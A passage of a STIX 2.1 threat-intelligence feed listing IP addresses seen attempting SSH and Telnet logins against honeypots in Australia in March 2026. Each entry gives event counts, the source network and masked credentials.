      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--a031bcbb-869d-4da3-8846-2d29f1ee4e87",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T00:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '195.184.76.160']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T00:15:07.000Z",
      "valid_until": "2026-04-05T00:15:05.000Z"
    },
    {
      "created": "2026-03-04T00:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--204bf233-89d4-4e11-87e6-b37b3de6129e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T00:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '195.184.76.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T00:15:07.000Z",
      "valid_until": "2026-04-05T00:15:05.000Z"
    },
    {
      "created": "2026-03-04T00:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--dea0d186-20b4-44c1-a403-8a878fd99dfd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T00:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '198.199.84.62']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T00:15:07.000Z",
      "valid_until": "2026-04-05T00:15:05.000Z"
    },
    {
      "created": "2026-03-04T00:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 112. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, C********5, J******6, W*********5.",
      "id": "indicator--53f525b1-85eb-4ece-a090-d95c21e0310c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T00:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '210.79.191.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T00:15:07.000Z",
      "valid_until": "2026-04-05T00:15:05.000Z"
    },
    {
      "created": "2026-03-04T00:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 20115. Organisation(s): Charter Communications LLC.",
      "id": "indicator--2538398c-94bd-4eed-9e26-f69ea36327e4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T00:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '24.107.208.181']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T00:15:07.000Z",
      "valid_until": "2026-04-05T00:15:05.000Z"
    },
    {
      "created": "2026-03-04T00:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 17557. Organisation(s): Pakistan Telecommunication Company Limited.",
      "id": "indicator--695778af-fe75-4217-87f4-4f99cab2189a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T00:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '39.61.42.36']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T00:15:07.000Z",
      "valid_until": "2026-04-05T00:15:05.000Z"
    },
    {
      "created": "2026-03-04T00:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--b46d7347-7307-4ce4-83b6-4b65d5e17c23",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T00:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '47.245.109.51']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T00:15:07.000Z",
      "valid_until": "2026-04-05T00:15:05.000Z"
    },
    {
      "created": "2026-03-04T00:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 136. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1******W, 1******t, 3***********4, 3**********4, A*******3.",
      "id": "indicator--66c18eba-01a8-45c1-8754-0325efbe9905",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T00:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '59.26.132.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T00:15:07.000Z",
      "valid_until": "2026-04-05T00:15:05.000Z"
    },
    {
      "created": "2026-03-04T00:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--e106877b-92f3-42d5-8bf8-975d9f11b23e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T00:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.171']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T00:15:07.000Z",
      "valid_until": "2026-04-05T00:15:05.000Z"
    },
    {
      "created": "2026-03-04T00:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--02233260-9932-4056-b92c-67fcac37ef9a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T00:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.172']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T00:15:07.000Z",
      "valid_until": "2026-04-05T00:15:05.000Z"
    },
    {
      "created": "2026-03-04T00:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--1c347161-a5c9-4d57-b97d-dc219e6abcf4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T00:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.75']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T00:15:07.000Z",
      "valid_until": "2026-04-05T00:15:05.000Z"
    },
    {
      "created": "2026-03-04T00:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IT. ASN(s): 3269. Organisation(s): TIM.",
      "id": "indicator--4dab90db-242b-4476-90e3-b77f585295a4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T00:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '95.245.158.166']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T00:15:07.000Z",
      "valid_until": "2026-04-05T00:15:05.000Z"
    },
    {
      "created": "2026-03-04T01:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 118. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1*******3, 1*******4, 3***********4, 3**********4, A******6.",
      "id": "indicator--74cb628a-e744-4759-a30b-46ec5fea02dc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T01:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.146.202.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T01:15:07.000Z",
      "valid_until": "2026-04-05T01:15:05.000Z"
    },
    {
      "created": "2026-03-04T01:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone. Usernames observed (masked): r**t. Passwords observed (masked): c******3.",
      "id": "indicator--4c2f68db-7e4f-43aa-ac66-c6b4991129d4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T01:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '153.101.132.65']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T01:15:07.000Z",
      "valid_until": "2026-04-05T01:15:05.000Z"
    },
    {
      "created": "2026-03-04T01:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 188. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SC. ASN(s): 40065. Organisation(s): CNSERVERS LLC. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, !*******6, 1******x, 2**2.",
      "id": "indicator--0f218765-5fb1-4e64-8fdf-22847d478bc9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T01:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '156.251.179.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T01:15:07.000Z",
      "valid_until": "2026-04-05T01:15:05.000Z"
    },
    {
      "created": "2026-03-04T01:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BW. ASN(s): 14988. Organisation(s): BTC-GATE1. Usernames observed (masked): r**t. Passwords observed (masked): i*****u, t******4.",
      "id": "indicator--87056a07-fac3-40d6-95f3-9b4fff19e1e1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T01:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '168.167.72.132']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T01:15:07.000Z",
      "valid_until": "2026-04-05T01:15:05.000Z"
    },
    {
      "created": "2026-03-04T01:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 5432. Source country: PT. ASN(s): 21859. Organisation(s): Zenlayer Inc. Usernames observed (masked): p******s. Passwords observed (masked): d**************0.",
      "id": "indicator--4fa7dcd3-7ccc-4bb7-8f20-456a01bf4dc4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T01:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.226.197.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T01:15:07.000Z",
      "valid_until": "2026-04-05T01:15:05.000Z"
    },
    {
      "created": "2026-03-04T01:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): Z******3, m*****6.",
      "id": "indicator--e1894f28-dff7-4d39-81f1-07d63a453100",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T01:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '188.166.218.64']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T01:15:07.000Z",
      "valid_until": "2026-04-05T01:15:05.000Z"
    },
    {
      "created": "2026-03-04T01:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CL. ASN(s): 18822. Organisation(s): Manquehuenet.",
      "id": "indicator--b3c719af-eee6-44ab-9d11-9e83839dabf4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T01:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '190.215.82.114']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T01:15:07.000Z",
      "valid_until": "2026-04-05T01:15:05.000Z"
    },
    {
      "created": "2026-03-04T01:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 7303. Organisation(s): Telecom Argentina S.A..",
      "id": "indicator--e5e8bf4d-5ba8-42ce-9151-afb2ec360881",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T01:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '190.245.254.159']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T01:15:07.000Z",
      "valid_until": "2026-04-05T01:15:05.000Z"
    },
    {
      "created": "2026-03-04T01:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--885a96b3-9079-4bce-a80f-360b997e0198",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T01:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '198.199.70.166']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T01:15:07.000Z",
      "valid_until": "2026-04-05T01:15:05.000Z"
    },
    {
      "created": "2026-03-04T01:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 124. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, A****5, L********3, R******3.",
      "id": "indicator--75fb6b91-535e-4282-809f-ffd6400f98f3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T01:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '220.134.59.136']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T01:15:07.000Z",
      "valid_until": "2026-04-05T01:15:05.000Z"
    },
    {
      "created": "2026-03-04T01:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 118. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SC. ASN(s): 138995. Organisation(s): Antbox Networks Limited. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): !**********C, 3***********4, 3**********4, P*********!, a******z.",
      "id": "indicator--937ad94f-198a-4cd6-840c-55af78f29d97",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T01:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.194.37.246']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T01:15:07.000Z",
      "valid_until": "2026-04-05T01:15:05.000Z"
    },
    {
      "created": "2026-03-04T01:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 19871. Organisation(s): Network Solutions, LLC. Usernames observed (masked): r**t. Passwords observed (masked): A*******3, q******$.",
      "id": "indicator--fb564bf2-53d1-439b-894f-fef21c92dd55",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T01:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '50.6.193.137']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T01:15:07.000Z",
      "valid_until": "2026-04-05T01:15:05.000Z"
    },
    {
      "created": "2026-03-04T01:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14618. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--be2cd90b-1c89-47a1-906d-a1a64fecd252",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T01:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '52.87.243.125']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T01:15:07.000Z",
      "valid_until": "2026-04-05T01:15:05.000Z"
    },
    {
      "created": "2026-03-04T01:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 118. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): !*******6, 1******x, 3***********4, 3**********4, A******0.",
      "id": "indicator--c776f098-bb9d-4f20-82a1-191e4538eae1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T01:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '68.183.94.236']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T01:15:07.000Z",
      "valid_until": "2026-04-05T01:15:05.000Z"
    },
    {
      "created": "2026-03-04T01:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 112. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: UA. ASN(s): 44668. Organisation(s): Zubko Volodymyr Viktorovych. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1******x, 3***********4, 3**********4, R******3, a*********!.",
      "id": "indicator--007c8914-e144-4de3-b143-783ccbc6e7d8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T01:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '77.87.40.114']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T01:15:07.000Z",
      "valid_until": "2026-04-05T01:15:05.000Z"
    },
    {
      "created": "2026-03-04T02:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--cc91c749-612c-4c85-aeca-68366ac7e1ce",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T02:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '125.111.241.37']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T02:15:13.000Z",
      "valid_until": "2026-04-05T02:15:11.000Z"
    },
    {
      "created": "2026-03-04T02:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--c56c651d-fbc7-4369-8be5-c5a178a74944",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T02:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '184.105.247.196']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T02:15:13.000Z",
      "valid_until": "2026-04-05T02:15:11.000Z"
    },
    {
      "created": "2026-03-04T02:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--022ecf12-0219-40ea-ae75-1edd89633818",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T02:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '60.19.218.148']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T02:15:13.000Z",
      "valid_until": "2026-04-05T02:15:11.000Z"
    },
    {
      "created": "2026-03-04T02:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--330f320b-4f3c-48ba-9e6e-b15f4095b47a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T02:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T02:15:13.000Z",
      "valid_until": "2026-04-05T02:15:11.000Z"
    },
    {
      "created": "2026-03-04T02:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): *.",
      "id": "indicator--00849a1c-783d-48f1-b2e9-fad6de872680",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T02:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '68.183.102.75']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T02:15:13.000Z",
      "valid_until": "2026-04-05T02:15:11.000Z"
    },
    {
      "created": "2026-03-04T02:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CA. ASN(s): 209334. Organisation(s): Modat B.V..",
      "id": "indicator--46b4813b-9117-445f-bfe6-69a7d8651ca6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T02:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '85.217.149.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T02:15:13.000Z",
      "valid_until": "2026-04-05T02:15:11.000Z"
    },
    {
      "created": "2026-03-04T03:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 100. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 151863. Organisation(s): PSG JOINT STOCK COMPANY. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3*****9, 3***********4, 3**********4, P******6, S**********3.",
      "id": "indicator--11944524-6b76-46fa-af31-57d56da9c5c2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.253.21.190']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T03:15:10.000Z",
      "valid_until": "2026-04-05T03:15:05.000Z"
    },
    {
      "created": "2026-03-04T03:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 170. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1****2, 1**********c, B********3.",
      "id": "indicator--655ee527-2884-4391-aa90-b8193d4d454a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '157.10.161.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T03:15:10.000Z",
      "valid_until": "2026-04-05T03:15:05.000Z"
    },
    {
      "created": "2026-03-04T03:15:10.000Z",
